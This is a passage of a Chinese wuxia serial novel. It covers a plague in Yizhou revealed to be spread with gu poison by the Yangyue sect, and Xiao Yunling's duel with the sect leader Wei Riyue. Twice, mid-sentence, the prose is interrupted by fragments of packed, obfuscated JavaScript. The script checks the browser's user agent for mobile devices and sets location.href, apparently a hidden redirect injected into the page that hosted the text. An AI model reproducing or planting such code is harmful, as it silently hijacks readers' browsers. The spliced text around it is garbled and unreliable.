泪眼迷蒙中,她面前景象逐渐全部黑了下去,身周又起了团团大雾,在这片黑暗与浓雾中,她看到远处似有人被架上高台,还听到凄厉的惨叫贯耳穿膜,那声音好尖锐,喊的她头疼欲裂,又忽远忽近,似乎不是人所能发出的喊叫,她感到心里浮现出巨大的痛苦,便哭的更伤心,却又一步也上不了前。 颈中的金鳞蛊也不知从何时开始躁动不安,急切地沿着江珠颈盒攀爬磨打,逐渐逐渐,天黑的更厉害,远处仅有的一丝光源也灭了下去。石焉如泰山压顶般,心里重重一沉,听得远处叫声似乎没了声音,人影也散成了烟尘。她再也忍受不住,放声大喊了出来,颈中金鳞蛊受载体感召,一同嘶叫起来,一人一虫喊的凄厉破碎,声音竟与刚才听到的一模一样。 尖锐的叫声穿破梦境,透过魂魄,抵达至石焉现实的躯体中来。 似乎是一个长梦,她终于从惊叫中醒来。 脑中混沌已经重新聚起,只有泪水还在簌簌地淌,心口还在难言地疼,石焉很擅长处理噩梦刚过的绝望困境,她并未睁开眼睛,只需缓得一缓,她便能让自己恢复如常。 可就在这时,她似乎感到有一双温热湿润的手,先一步来轻轻拭去她脸上的泪痕,安抚她可怖的心境。 她缓缓睁开双眼,透过湿润交缠的睫毛,看见了一副立着的身影。 24. 第五章第五节 “江南?” 沈谛祝自来益州后便连日操劳而少有安稳睡眠,他正眯了一会儿刚醒来,睡眼惺忪间恍惚看到帐内正中正立着一个年轻的男子。 “你什么时候回来的?吓我一跳。”屿王又阖上了双目,养着神问道。 “卑职刚刚回来,见殿下在小睡,不敢叨扰。” “嗯,下次你直接叫醒我。”屿王抖抖精神,睁开双眼,直起腰身继续道,“你去渡口看过了,怎么样?银子都发下去了吗?” “一切正常。九顷对水务船运本来就驾轻就熟,再说现在还有凌霄宫的杨丹盈姑娘时刻在岸接应。医药粮布源源不断地都在按时按次序运达,殿下大可放心。殿下的赏银属下也都亲自交给卿舵主了。”江南说罢,递上手中一个食盒,继续道,“这是舵主带给殿下的鲜鱼脍,他说殿下心系百姓,又连日辛苦,在荒僻之地一定吃住难比平常,一点薄意请殿下屈尝。” 沈谛祝脸上浮现出了一丝笑意,颇有些满足和得逞的意味,他道,“这些江湖势力虽然拿不上台面,但总归在许多我们不便插手的时候能帮上不少忙。” 他掀开鱼盒的盖子,江鲜的香气便扑了出来,他取出银筷,仔细擦拭了后夹取一块放入口中,嫩滑的口感在嘴里四下窜开,鱼脍外层还带着盒中冰镇的清爽凉意,在牙尖齿后掀起一阵嗅与味的风暴。 屿王又夹起第二块,这回并不直接清尝,而是蘸上盒中配佐的葱丝小料,他举着银筷将鱼片控在半空,深色的酱汁便一滴一滴滑过,将滋味缠裹上鱼身,滴落至碟中。 只听他又道,“就比如九顷水帮,我虽一直有心拉拢,但总是没有合适的机会。这次大疫倒是良机,可咱们屿王府若直接找上门去开口未免显得太自降身份了些,还是妙常懂我,她一纸书信,就算是帮我投石问路了,再加上我之前好生招待过他们老帮主,他们自然承我的情。不过人家虽然自称是为了益州百姓愿行此义举,我们却不能真叫人家自掏腰包,来给皇家办差。你别小看今日这袋银子换来的这盒鱼脍,这就代表着九顷水帮,日后定会帮我的忙。” “还有凌霄宫,过去我暗里多次给她们机会,却总是驳我的面子。”屿王一口把鱼脍吞入口中,擦净嘴巴后才道,“如今妙常带了那个叫杨什么的姑娘来,大疫当前,她还不是自请住去渡口,帮咱们接应船只吗?她只要替朝廷办了事,以后还想能彻底撇清关系?” “所以啊江南,”屿王话锋一转,道,“你现在可知道妙常身后有多少关节了吗?” 见对方不接话茬,他便也没有再继续喋喋不休,只恨其不争般地闷头又加了几筷子鱼脍,连本来打算分给江南的那份也一并叨入自己碟中了,空留后者闻着满帐的鲜香。 “呕!” 顾念怀已经数不清是第几次吐了,他熟练的擦嘴漱口,再拉上面罩。 “顾大人,现在人手充足,您何必还天天亲自跑脏活啊?这些事我看随便派哪个益州士兵都能做嘛,兄弟们的官服您看都脏成什么了…”旁边一个同在挑粪桶的屿王府侍卫抱怨道。 “既然当初应下了这差事,就要负责到底。”顾念怀放下担子和桶站定,对着周围的几个弟兄道,“我们都是殿下的人,咱们越平易近民,殿下的口碑自然水涨船高。” 他又拍拍那个侍卫的肩膀,笑道,“少打着我的旗号,我看是你自己嫌脏嫌累了吧?以后不许抱怨了啊!” “是。”侍卫也不好意思地低头笑道。 “再说了!我们的官服本来就都是黑色,能看出什么脏来,最多不过就是这只金色的雀变成黑色乌鸦了…”顾念怀指着官袍右下角的金色绣线道。 众人听了顿时哈哈大笑起来,一时倒忘记了自己身处脏污之中,也算苦中作乐。 “你们别看我天天吐,我这几天还真是比刚来的时候好多了。”顾念怀看兄弟们放弃了愁眉苦脸都开心起来,便想着继续安慰安慰大伙,遂道,“也不知道是不是他们天天喝药的缘故,这几日我闻着夜桶里面竟然比以前多了些药草清香…” “呕!!” 他不安慰还不要紧,此话一出,众人的笑容都凝在了脸上,似乎是由于顾大人闻夜桶的画面自动在他们脑中形成,导致众人全部作呕了起来,“哇”地吐成一片。 “难道我说的有什么不对吗?”顾念怀见状,赶紧换了话题道,“等下我还要去赵府找石医官,你们慢慢吐,我先走了啊。” 话毕,他提起自己的担子拔腿就跑,绝对要赶在诸人呕吐的味道弥漫开来之前先撤离再说,他可不想胃里刚止住的翻江倒海又被牵起来。 于是深色的身影被傍晚的夜色所轻笼,日月交错间,他的动作既快且潇洒,在无影踪之前,只留下一道渐隐的背影。 日头一寸一寸下去,天越来越暗,同一片黯淡薄空下,数地之外的肖云翎也正在各所到之处都留下一道道因身形过快而遗下的标准残影。她在放下狠话后,就和闪身出来的四位坛主交起了手,身影在四人间周旋的极快,而一招一式又做的极到位,她打将起来,迅若闪电,又不慌不忙,若是把这些行云流水的黑色残影描绘下来,也足以制成一本武学画籍了。 而四位分坛主的武功极高,加之肖云翎又是连上了一千多级台阶而来的,体力消耗不小,因此她不敢托大,拔剑迎敌。舒云剑终于出鞘,也算是对对面四人的尊重了。 此处离天问台仅剩一百级台阶了,四位坛主若一一上前轮流讨教,只怕不是对手,还会一不留神就纵了肖云翎溜上顶去。于是也只得不再顾及客套虚礼,一齐抱拳道了声“得罪了”,便直接四人一道攻了上来,就是使出看家本领,也要拖住肖云翎的脚步,不叫她在最后时刻阻挠教主神功将成。 青龙无性别,青龙主孟章亦然,他身形俊朗,气度非凡,单看面孔,有女子之灵动,亦有男子之健美。然其比之叶开显的气质又有不同,后者长相更为秀丽迷人,但身材精瘦,性格邪性低匍,为奴为俾亦可隐忍不发。而孟章面容则更胜清冷精细,身形宽朗,貌似性情温润,叫人不愿用世俗的眼光为他套上男女的限制。 他率先从四人中脱阵而出,以一双玉掌相合,趁另外三人缠住肖云翎的功夫,擒住她手中长剑,肖云翎想横剑割破其双掌破局,左手接招不停,右手却在分神之下难以挣脱其掌力厚重,她只好干脆舍弃剑柄,腾出双手同时运力,以掌风攻其不备。她一掌拍到,对方果然不得不撤手去接,另外三人也为掌风所震,只得先行撤手避让开去,长剑失力而落,趁着这个空,肖云翎当即凭借自己最擅长的速度之快,立刻抽回右手接住剑,又以左手御力化掌风于剑端,重新蕴了剑气递去。 这一招硬碰硬,任何人在肖云翎这也讨不到好处,她自练成横逆心法,便奠定了武林中内功第一的位置,即便是当初对上自出生起体内就同样藏有横逆心法的江南,也不可能与她真正抗衡,何况是今日的青龙主。 剑掌相交的一瞬间,四人都撤了一步才堪堪站定,孟章更是首当其冲已然受了内伤。 “玉面夫人果然厉害,又是爬高山,又是连番耗战之后,竟还能与我四人实打实地拼内力。”朱雀主陵光由衷赞道。 其实孟章与陵光皆不是二人本名,因为央月教现任教主十分重视神说天赐,他认定自己是天命之子,能率众领民,因此他上位后,连四位分坛主的自身姓名都要一并抛换,需改至以道教中四象守将的封号相称,从而作为教主的四大护卫助他逐鹿天下。青龙名孟章,朱雀名陵光,白虎名监兵,玄武名执明。 这四人都是上任教主在位时选拔出来的分坛主,因此在教中声望极高,所幸他们四人也都继承了上任教主仰阿忒的温和与谦逊,为人接物都十分得体,便是在中原也是十分受人敬重的。 不过肖云翎从来不管旁人的眼光,任他多受人敬重,在她面前也只有拦路挨打或让道恭请两种选择。她道,“你夸我,我便受着。只是你既然清楚我还有多少功力没使出来,那便尽快全力以赴,否则就不要拦着我去教训你们教主。” “我们兄弟四人本不愿无故和你冲突,但你非要扰教主闭关,言语中还如此不尊敬,是否有些太过分了?!”白虎主监兵道。 “你想评判我,就先超越我。” 肖云翎的面容隐在玉面具后,发髻簪在玄木钗下,她巍巍立于高山之巅,脚下桃江呼啸,身周夜风作响,对面四人的长袍都因灌满了狂风而烈烈鼓起,长发也拍打在脸上胡乱蒙蔽了视线。她却安然不动,头发利落绾着,扎护腕用的红布条只在风里小范围抽摆,腰间挎了重铁剑鞘,唯脚边衣袂翻飞,她就立在那,倒像要成神一般。 白虎主遂道,“你有你的立场,我们有我们的主上,既然如此,阁下勿要怪我四人纠缠不休。” 孟章陵光监兵执明四人便再次攻来,这回比之上一关的姐妹三人,要更加难对付多了,四人脚下位置更替皆严格按照阵法卦位,缜密周全,忙而不乱。那青龙主因受了内伤,因此动作力道受困,威力不能尽展,但他招数却使得更加果断,尽是些铤而走险的奇招,反倒成了四人中最难突破的一个。 肖云翎屡次以舒云剑法破阵,却也只能在另三人中撕开一个小口而很快被再次围上,四位分坛主有了先前的教训,已经着意避免与她内力相交,但四人勉力,虽能围住肖云翎于阵中,却挡不住其来势汹汹,仍冲云台。于是五人交手半晌,脚下亦不停,肖云翎一路冲阵,一路破口,多耗了数倍时间,竟也迫使四人随她一道,打过一百级台阶,直上天问台际。 迈过最后一级台阶,滔天星河下,一红衣男子打坐在石台正中,正是央月教的现任教主,韦日月。他头发微散,面色一会红一会白,指尖和头顶都有白烟隐现,显然是到了大功将成的最后阶段。他全神贯注于心法的最后几字诀上,否则意念中一步踏错,之前所练便也全部前功尽弃,甚至还有走火入魔的风险。 只是即使他双目紧闭,两耳不闻,神思亦俱在遥遥浩瀚九天中感受功力变幻,身前却还是感到了一面风至,且来者不善。 而另一边的赵府,梦境中的石焉正在一阵凉意中回过心神。 似是有夜风徐徐,她感到面上的遮罩也被吹落了一半,只剩一角挂在耳上,而刚刚还顺流而下的泪珠,正被不知何人的温热指腹抹去。只是这人好生奇怪,既没有替她将泪水点去截断,也没有轻轻沾至一方帕绢,却是用食指将湿润的触感在脸上延了长长一道水迹,仿佛在临摹她原有的泪痕。 缓缓睁开双眼,她透过湿润交缠的睫毛,看见了一副立着的身影。 是赵凝眸。 “你…你怎么出来了?” 赵凝眸的手指还贴在自己面颊上,见己醒来才不慌不忙地放下,而她的双眼里则盛满了懂事和安静。对比之下反倒是石焉惊得差点乱了手脚,她先下意识把面巾重新系回耳上,再又开口道,“照顾你的侍女呢?” “她们睡着了。”赵凝眸静静道,“石医官,你怎么哭了?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253664|197975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我没事,是做了噩梦。”此时石焉已从梦魇中彻底清醒,即便胸口还有些突突地疼痛与虚慌,但都比不上眼前的病人重要。 要知道赵凝眸的闺房在将军府的后院中,而石焉居住的客房则在前院,两院相隔并不算远,府中下人大多也被赵将军遣去各疠所帮忙了,难怪赵凝眸两次溜出来,都无人发现。石焉接着道,“凝眸,你现在生病了,出来着凉会更加不好的,我送你回房,好吗?” “房中憋闷,我为何不能出去逛逛?像昨日那样,去找我爹骑高马玩。” 石焉心念一动,问道,“原来你昨日是想去找赵将军骑马玩,是吗?” “对啊。但是后来我肚子疼,到处没见人,只能先回来了,今天不知道为什么又生病了。我只是想去骑马,但是父亲责怪那些侍女说什么没看好我,还说我在给你添乱。我都听见了。” “现在外面很危险,全城都生了大病,你可是将军的掌上明珠,将军担心你才会这样说的。”石焉猜测她是昨日的心愿未能得偿,今日才想再去,而要出府门,必得经过前院,因此才会出现在自己这里。她念她到底是小孩心性,并不忍责怪,宽慰后又道,“凝眸骑马很厉害吗?我都不会呢,等益州的疫病好了,你带我去看你骑马好不好?” “好啊!” “那我们先回去吧,身体养好了才可以骑高马呢。” 赵凝眸似是听出来了对方在哄骗她,神色一下子又垮了下来,刚想说些什么,却听到院门外有侍女找来的声音。 “小姐,可找到你了!”正是赵凝眸的贴身侍女带着好几人急急跑了过来。 石焉起身,向几人简单交代了几句,她将凝眸送到对方手中,又目送几人围着她回去了,才低声对落在最后的那位侍女道,“你们小姐到底年纪还小,贪玩是常事,你回去后要叮嘱大家,切不可再大意,累了就轮流睡,面巾更要时刻戴好,再就是一定要留至少两人醒着看护她才行。” 那侍女正是下午来疠所叫石焉的,她本也不是个粗心之人,只是小姐三番两次从她眼皮子底下消失,实在是推脱不过去的责任,便十分认真地答应了。 石焉目送她们一行人前脚刚出院门,后脚顾念怀和肖遥海便来了。 “石医官,我是来接你出城去向殿下复命的,三日之期又到了。”顾念怀边走边解释道,“来的路上正巧遇到肖神医。” “不急。”肖遥海接过话来,替石焉回道,“这大疫有些问题我还要和焉儿讨论一下,还请顾大人至院外稍候。” 说罢,他便拉着石焉进入屋内,掩了房门后才道,“今日白天在疠所里不方便多言,只是我说的那句话,你可否还记得?” 彼时肖遥海正立在窗边,外头丝丝细雨作响,他的声音不轻不重只叫石焉一人听到。 “我在来的路上也稍微作了了解,不管是益州还是乐进夔,先得病的大多是男子,后才染及周遭。”他顿了顿,道,“这样的毒,你应该熟悉。” 石焉还记得自己当下闻言即会意,她大惊失色,努力压低了声道,“外公的意思,是蛊?” 此刻肖遥海步至桌前,用火折子将燃尽的烛台重又点起,那烛光晃的厉害,微弱虚亮着,却坚强的很,几次不肯被窗格透进来的风打灭。 石焉透过小轩窗见顾念怀抱胸伫立在院外,他身后不远处有棵高壮树木,此刻大雨初歇,风一动就又落下一地水来。 “你我都知道,有能力给全城人下蛊毒的,”肖遥海道,“只有一个地方做得到。” “是央月教。” 石焉思索了片刻,又道,“央月教手底下掌握着许多养蛊女,这些女子多半都是被迫,去替央月给需要掌控的人下蛊,每做一次蛊,自己也会有所反噬,而这些蛊,基本上都是对男子有用。只是,能像现在这般和疫毒掺杂在一起,再大范围下给全城之人,如果没有央月教主的筹谋安排,根本就办不到。央月教一心复国,因此对朝廷虎视眈眈,这样的事也不是他们第一次做了,当年娘就是因为不愿意配合才……” “不错,苗疆的古书里曾有一则传言,借圣女之身,按特定方法耗神灵养,可得一种奇蛊,哪怕是天下至强之人,哪怕其远在千里之外,都是无法抵抗的。央月教主妄图以此法控制皇帝,你娘至死不愿研养,先是不断被削权,后终遭到大祸。” 肖遥海继续道,“就我刚刚探的脉象而言,体虚神疲,外干内热,看似都是时疫所致的症状,然而再看他们精神萎靡,眼眶青黑,咳空无物,加之所有症状周期循环,都足以表明,有中毒之象。” “如果真是这样,他们只需在益州产生时疫之后从中找一些人种下蛊毒,因着时疫传染性极强,十人染病便迅速地十传百百传千,疫病就成了蛊毒最好的载体。若非赵将军警醒,平时练军亦不懈怠,一则时疫迹象刚发便率先隔断了守城军,二则兵士大多自身身强体壮,否则这座城,恐怕要有更大灾祸。” “央月教主真是处心积虑啊,大疫这种事向来说不准,历史上有几年就遇到一次的,也有可能几十年都平平安安。他为了复辟南诏,必定是费心筹谋,早早准备,赶不上也就罢了,但一旦赶上哪里发生了大疫,就立刻实行这套计划。” 石焉恨道,“明明生活在同一片土地,有人却打着为族民复国的旗号,实则是为一己私欲,不惜伤害众多人命为代价,实在是自私狠毒。” “他狠毒,自然有人会去收拾他。”肖遥海意味深长道。 25. 第五章第六节 夜空升起星河,桃江浮现月影,光华如水,水流希声,可刀与剑相撞的声音,却切切回荡在四极与六合之间。 肖云翎与四位分坛主继续缠斗着,这四人围的更紧,此处离教主不过十步之遥,生怕一个不小心,肖云翎就会离了他们控制。 突然远处一道闪电降下,而过了一阵,这边才听见霹雳雷响,可见距离尚远,看方位大约是益州附近的地方,那里虽然雨已经停了,但仍然不时有天闪劈开乌云,仿佛在预示沉闷过去,还有一场更大的暴雨在后头。 与此同时,央月教主的面色已经不再频频转白,而是维持着一种兴奋的红润,他耳廓微动,眼皮也开始颤抖,似乎就要醒来。 果然不出一会,这边肖云翎等五人过招正酣,那边韦日月已经大功告成,他双眼突地睁开,或许是出关一下不能适应,因此瞳子只有一瞬间的浑浊,但很快就转为清亮,再到盛满精光。他面容焕发,脖颈处的青筋根根暴起,脸上红光快要和身上红衣融为一色,手掌亦遍赤的似是染了血。 见到韦日月醒来,这边四坛主便都住了手,却不想前者出关的第一刻周身竟就布满了杀气,且双手成钩状,直朝肖云翎要扼其咽喉而来。 肖云翎心里一沉,玉轮神功威力无穷,还是被他练成了。 玉轮神功与横逆心法皆为前朝遗留下来的绝顶内功绝学,其中各自含的心法秘要,更是不论所练之人学的是哪家的外功,使的是哪门子的武器,都能辅佐其攀顶而有所大成。玉轮神功主阴,横逆心法主阴阳调和。若论实在威力,当是后者更胜一筹,可若想另辟蹊径,就得数玉轮神功了。 这是因为横逆心法旨在倚靠练功之人自身的身体条件及自小伴随的童子功,不仅叠加在其原有的内力修为之上,且两者相生相长,彼此助益,因此该心法从初练到功成,非二十年不可得,所以强者更强,永无止境。可玉轮神功却不然,快者闭关禁食一个月便可成。只是此功快则快矣,牺牲的却是练习者自身的内在灵气,以及以过去练成的其他所有武功作为交换,方能为玉轮神功供给它所需源源不断吸取的体内精神,因此练成此功者,往往不像横逆心法那般使人健康清朗,而是变得瘦骨嶙峋,失去人气,但脸庞又通红似回光返照,像极了一副撑着皮囊行走的躯壳,每走一步,耗的都是自己的身体与寿命。正所谓凡得玉轮神功者,也仅得玉轮神功了。 肖云翎见韦日月来势凶猛,担心若以舒云剑接招,很有可能会在两人的真气中一折而断,她不敢以心爱的宝剑作赌,当机立断,快速收剑入鞘,而后运起横逆心法九重字诀中的“引”字诀,要以空手接招。此决精髓在于把自身的内力引至对方体内,本是为了给身中内伤之人传功疗伤用的,但眼下用在对抗玉轮神功上,倒是正好。 只因玉轮神功最厉害之处就在于一旦与人接上手,便会快速占据主导地位,将对方的内力,无论什么功夫,一律杂糅到一起吸至自己体内,从而保证立于不败之地。 肖云翎打算利用这一点。韦日月要吸取自己内力不仅不要紧,她还要用“引”字诀主动配合,把深厚内力一股脑地送去。她倒要看看,对方这副傀儡身板,承不承的住。 她把双掌架好,只等着对方欺身逼近。横逆心法教的是内功,却又不仅是内功,更是练功之则,因此练成之人如肖云翎、林惊时之辈,从不担心会有内力耗竭、武功散尽的时候,只要方法熟念于心,即便把内力全传给旁人,也是毫不在意的。反观练成玉轮神功的韦日月,只有这一门神功傍身,就远没有肖云翎如此大方开合的格局了。 这边韦日月已经到了眼前,他双目含血,屈指如钩,与肖云翎已然接上了招,远处闷雷滚滚,在场观战的人无一不气悬于颈中而不敢发之于外。韦日月如鹰钩般的手指攀抓住肖云翎手腕,出乎意料的是对方并未反抗,而是顺势以手掌同样托住了自己的掌腕。 脉搏乃是习武之人的命门,两人此刻都已扣住了彼此的腕处,韦日月急于先发制人,便立刻开始运气吸功,只是过程太过顺利,对方的内功如洪水强流磅礴而来,他心道不妙,已是中计了。 此刻玉轮神功在韦日月的体内初成,仍处于盘踞于胸腹之间的阶段,尚未能自如地化为己用,主动吸取倒不要紧,但若是被迫打乱节奏而强行接受,则已是不妥。且韦日月从未读到过横逆心法的秘诀,不知两功相抵相冲,此刻过于深厚的内力滔滔涌来,他才察觉到厉害,这对他而言绝对是万万吃不消的,如此持续下去,只怕心肺都会爆裂而亡。 偏偏此刻体内盛满了玉轮神功的韦日月,就如同一面已经饱胀的皮鼓,他对横逆心法的承接能力,甚至还不如一个一片空白、亟待填满的婴儿。 而两人交手间,前几关阻拦肖云翎的关主,也纷纷解了自身的困局,上到天问台来一并观战。 好在韦日月反应还算快,他即刻调整内息,停了引入变为抵对,以此抗衡肖云翎传来的阵阵内力。同时单手棋行险招,以迅雷之势向肖云翎头顶抓去。 此招险象丛生,他们二人双掌交缠,巨大的真气正在两人臂膀间游走,任何一个人泄了神,都面临着会被对方的内力震成重伤的风险。韦日月乍然之下分了一只手去攻其不备,另一只手势必要承受更大的冲击,但他料定肖云翎为保命,一定会同样撤开双手去拦,他便能寻求破局的机会。 可肖云翎早已看透对方的心思,她并未去拦,而是双手同时推出,要趁对方单手力薄,利用“引”字诀将她运出的内力统统送去,以攻,为守。韦日月受这一掌,少说也要被拍去十数步开外不可,自己头顶的危局自然可解了。 此刻便是谁更快一步,谁就是万无一失的赢家。 韦日月的右手重成钩状,已然到了肖云翎面前,后者眼看对方尖锐的指甲要罩下自己的天灵盖手中双掌的力也已经送了出去不可挽回,当即继续加压,脖颈同时后仰避让,便就在此时,韦日月的鹰爪也完全落了下来,“砰”地一声抠在了她的玉面具上,面具应声而碎,炸裂成数片碎玉,崩落在地面。 肖云翎的真容乍然崭露,她的嘴角竟不知何时已挂了抹鲜血,眼下数人围观,却无一人能分出神来关注这仅存在于江湖传说中的玉面具后的面容究竟长得什么样。追求武学成就之人,不比普通看热闹的,显然是都更聚精会神在这场千古难逢的高手决战中。 便几乎是与此同时,韦日月一侧被肖云翎的双掌所震,更是非同小可,他被击之后,整个人都跟着震动了一下,而向后方跌去,在地上翻滚几圈才停将下来。四位分坛主首先上前将其扶住,围在左右。 “你敢豁出性命阴我?”韦日月制止了他们企图为自己疗伤的动作,怒道。 “韦教主神功初成,我顺水推舟,再送你一程。”肖云翎以双指指腹横擦去嘴角残血,微笑道。 “肖云翎,你仗着自己看过玉轮神功的秘籍,就如此笃定会胜。可你刚刚为了阻我而自弃内力,还不是损了元气又受内伤?”韦日月嗤笑道,“玉面夫人?我看这面具,就是你每每用来遮掩自己受伤吐血用的吧?” “我看过玉轮神功的秘籍,所以知道它尽是走捷径的歪门邪道,正适合那些没本事又胸襟小,不舍得花时间下苦工夫,却又嫉妒武功绝顶之辈的人。”肖云翎定定地看了他一眼,又轻蔑笑着接道, “英雄好汉,谁会练玉轮神功啊?” “你!”韦日月气急反笑,他道,“你今日来,难道就是为了羞辱我来的?” 肖云翎好整以暇地看着他,道,“不错,便是揍你来的。” “你!!”韦日月火从心起,激的本就在乱窜的内力更加不平稳,又吐了口鲜血出来。 她继续道,“若说我此次非要来一趟的真正缘由,确实有一个。便是因为你多次派出二使企图劫妙常回来,可她说了她不想回来,你听不懂吗?我今日来的目的很简单,从即日起,你若再敢派人去扰妙常清静,我立刻铲平了你们央月总坛,全部踢进桃花江里去!” 她这话倒不是一时之气而起的大话,且看她今日一人挑尽全教高手,便知她说得出就做得到。 韦日月缓了缓心神,又道,“你莫名其妙来我央月教大闹一番,既无拜帖,也无战书,阻我迎圣女回总坛,还伤我诸多部下,又不惜以自己为代价害我重伤,这事放在武林里任谁也说不过去!” “武林中人能奈我何?”肖云翎反问道。 她目的已经表达完毕,本打算说完这句便走,却听得韦日月不可置信的声音传来, “你竟然只是为了这样一件小事!就跋山涉水闯我总坛?!” 肖云翎觉得不解,她低下头看着他道,“你还真是恬不知耻。我来的确就是为了这一件事又如何?但你该受着的却绝不止这一件。” 她不想在此刻再提旧事,便只道,“你弄的益州与乐进夔乌烟瘴气,死伤无数,我只给了你一掌,又有何不可?” “我弄的益州和乐进夔死伤如何,与你何干?!你肖云翎不是一向以不问他人生死自居吗?”韦日月突然暴躁起来。 “我的确不管他人生死。”肖云翎走上前两步,她淡淡道,“可是姓韦的,你如今是在祸乱天下。国家不存,你我焉存。势必会牵连到我在意的人,我肖云翎这一生,家人不多,可你偏要他们都亲涉危险之中,我来揍你,是给你机会收手。” 韦日月愣了一会儿,他见肖云翎已经转身欲走,却不想就这样在这场对决中输的如此彻底,他追问道,“家人…沈妙常去了益州?!” 肖云翎冷笑一声,道,“看来你真是太不了解你们圣女了。益州大疫,你觉得她会坐视不理吗?想必你已经知道妙常之前被护送去了我的凌霄宫,可她早已离开,现在就在与你一城之隔的益州。” 她并不转回身去,只背对着他道,“你害数以千计的百姓的时候,可想过你教中圣女正为了救他们而心力交瘁?可想过你养出来的这种蛊毒是不是在当初妙常身体里灌过的百毒之一?若不是,那她的百毒不侵之体,在益州就是毫无用处!别人会得,她也会。” “你懂什么!我有我的大计!”韦日月对着肖云翎宽阔的背影狂道,“你若担心,还在这与我啰嗦什么?早早去接她出来不就行了?!” “浅薄。”肖云翎啐了一口道,“妙常的心气,不是你能置喙的,一己之身的生死在她眼里不过尔尔。我既然决定了不阻拦她立志要做的事,就更容不得别人插手。” “哈哈哈哈哈哈!”韦日月突然爆发出一阵怪异的笑声,他道,“我不了解她?你也未必。与她一体的金鳞蛊是我们教中的圣物,其他蛊虫之于它都是小巫见大巫。就算她也得了疫毒,金鳞蛊也足以保她绝对不会像其他人那样重病至死!但是…” “但是怎么了?”肖云翎仍旧背对着,只是微眯了眼,显然是有些不耐性子。 韦日月含血的嘴大大地咧开,露出挂着血丝的牙齿,和一个诡异恐怖的笑容,他的头发湿黏黏地粘在额头上,抬眼看着肖云翎干净的衣背和盘发。他没有继续说出那个“但是”的后面,他疯狂地笑着,想象着她如果听到自己心里的后半段话,就会因为这每一个字,而震惊地转过头来。 “什么?” 石焉正从房中书架上抽出一张自己保存的药方笺,她听见肖遥海说的“会有人收拾他”云云,便回过身来问道,“收拾他?外公,您没撺掇姨妈去打架吧?” “她要打架还用我撺掇?别担心她,她是最有数的。” 石焉淡淡笑笑,继续正色道,“说回蛊毒,外公,其实在你今日提出来之前,我也有怀疑过是毒,只是从没往会是蛊虫所致那方面去想,毕竟蛊和毒可是全然不同的种类,虽然发病表征可以相似,但致病原理可是大有差异的。” 她手边翻着自己的手记,又道,“据我所知,这世间还没有一种蛊可以同时下给几千几万人的,必定是先育出母蛊,再以黏液重新喂养繁育子蛊,最后提取所有蛊虫的精华炼成毒药,借时疫之机,投来益州,那么就不排除蛊毒和时疫攀附结合而成为了一种更厉害的疫毒的可能。” “那么你看,瑶疆有能制出如此厉害的蛊毒之术的女子吗?”肖遥海问道。 “不仅有,”她看向外公,“还很多。” “但是,我手底下的养蛊女,可比你凌霄宫的弟子还多!” 韦日月没有把“但是”后本来的实话说出来,他换了个话头,又故意挑衅似地道,“既然沈妙常要做菩萨,那不如就看看,是她治病的速度快,还是我们下的蛊毒厉害。不信你看——” 他右手朝天问台下的方向一挥,肖云翎亦转回身来,沿他手指方向看去。台下是此起彼伏的山林,夜空笼罩下,脆绿的树都成了乌泱泱一片茂密的黑,而其中零散穿插的,是星星点点的油灯黄,每处萤火般的闪烁后面,都是一间当地族人的住家。 “瑶疆的山里有几位婆婆,一辈子养蛊的,蛊术并不亚于娘,从我小的时候就听过她们的名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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石焉每说出一个步骤,仿佛感觉到自己眼前已经看到了那些油灯下,枯萎的女子面容,日复一日地用自己的灵气,换虫蛊的永效。 “蛊毒与其他毒类还有一大不同。”她继续说道,“它能够依附人身而存活,或者说,它在这点上和蛊虫类似,可以吸取人体精华而活。因此即便这毒最开始只下给了一二十个人,它也会在跟随大疫传至其他人身上时,毒性不仅不会随着人数的增加、与最初母体距离的增远,而渐弱渐退,反而会重新生长攀附。同样,也正是因为这个特点,即便人死后,没处理的尸体,也仍然可以让蛊毒存活数天。” “可惜我们带着尸体一路好几天,眼看着差点就进京了,”韦日月似是惋惜一般,他叹道,“京城防卫太严,我的人只能把几具益州的尸体,送到乐进夔,就再也无法前进了。不过好在这几具尸体争气,将这疫和毒,一个不少双双送到了京郊。哈哈哈哈哈哈!” 他笑得癫狂,喷血的嘴大张着,像极了一个无底的深洞。 “那么乐进夔也可以解释了。”肖遥海道,“他们眼见此法对益州有效,便动了更歹毒的心思,要扰乱王都。怪不得从益州到京城这一路,官道上的客栈均有人染上疫病,只是官道向来人烟稀少,因此没成规模。” 他在房中慢慢踱步起来,石焉却有意无意地躲开肖遥海行走的步子,避去窗前一角默默站着,她听到外公继续道,“疫行千里,毒伤根本,前者的确是代替人力下毒的最好东风。这两者结合,致人死亡的速度和几率都大大增加,若疫毒真进了京城,后果不堪设想。” 石焉咬牙道,“恐怕大家还以为这场时疫是天灾,殊不知却是一场精心谋划、伺机布投的人祸。” “天灾也好,人祸也罢。对两城的百姓是如此,对你难道不是吗?” 肖云翎的目光幽幽扫回到韦日月的身上,她又道,“等时间到了,如果老天不收你,自然由我来收。” 她本不想留下听其啰嗦,只是以为对方言语中或许会涉及到大疫关键,兴许能帮上父亲与甥女的忙,这才勉强按住了脚步。却不想这韦日月来来去去说的都是些自己与父亲早已推测出来的东西,当真是浪费时间至极,她撂下这句话后,便转身走了。 “你不远来这一趟,竟不问问我解药是什么吗?”韦日月知道自己这一战终究是输的惨痛了,他几乎是以恳求的语气问道。 他企图以解药挽回一点点的败局,只要肖云翎开口求他,那么就不算全输。 “解药?”肖云翎头也没回,她脚步不停,已沿石梯下阶而去了,只余清丽的声音回荡在山宇之间,“恐怕妙常此刻已经研究出来了,还用得着你?” 